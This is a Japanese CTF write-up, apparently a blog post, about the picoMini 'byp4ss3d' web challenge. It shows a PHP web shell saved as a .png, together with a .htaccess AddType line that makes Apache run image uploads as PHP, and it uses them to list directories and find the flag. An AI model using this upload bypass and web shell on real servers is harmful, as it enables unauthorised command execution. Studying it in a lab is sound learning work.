0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

picoMini by CMU-Africa writeupまとめ-更新中-

Last updated at Posted at 2025-11-19

はじめに

CTF初心者が様々な記事を参考にしながら挑戦しているので、用語や解説等で間違いがあれば気軽にコメントください!

Web Exploitation

byp4ss3d

説明

A university's online registration portal asks students to upload their ID cards for verification. The developer put some filters in place to ensure only image files are uploaded but are they enough? Take a look at how the upload is implemented. Maybe there's a way to slip past the checks and interact with the server in ways you shouldn't.
翻訳
大学のオンライン登録ポータルでは、学生に身分証明書のアップロードによる本人確認を求めています。開発者は画像ファイルのみがアップロードされるようフィルタリングを施しましたが、それだけで十分でしょうか?アップロードの実装方法を確認してみましょう。チェックをすり抜け、本来あるべきでない方法でサーバーとやり取りする方法があるかもしれません。

アップロードファイルがそのまま表示されているここが怪しそう。

アップロードファイル
images/ファイル名.拡張子(.png .jpg .gif)

スクリーンショット 2025-11-19 221227.png

説明から、画像ファイル云々と記載されているので次のphpファイルの拡張子を(.png .jpg .gif)のどれかに変更してアップロードしてみる。

pico.png
<?php
echo(system("ls /"));
?>

結果
image.png
Not allowedにならなかったからいけそう。
でもどうすればいいんだ...?

ヒント1
Apache can be tricked into executing non-PHP files as PHP with a .htaccess file.
翻訳
Apacheは、.htaccessファイルを使用して、PHP以外のファイルをPHPとして実行するように仕向けることができます。

.htaccessというものがあるのでそれを使うっぽい。
調べてみると、AddTypeというディレクティブで拡張子とMIMEタイプを紐づけることで.php以外でphpファイルを実行できるようになるみたい

以下の設定ファイルをアップロードして再度試してみる

.htaccess
AddType application/x-httpd-php .png

できた
image.png

あとはflagがないかfindで探すだけ

pico.png
<?php
echo(system("find / -name flag*"));
?>

flag.txt発見
image.png
cat使っておしまい

Crack the Gate 2

作成中

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?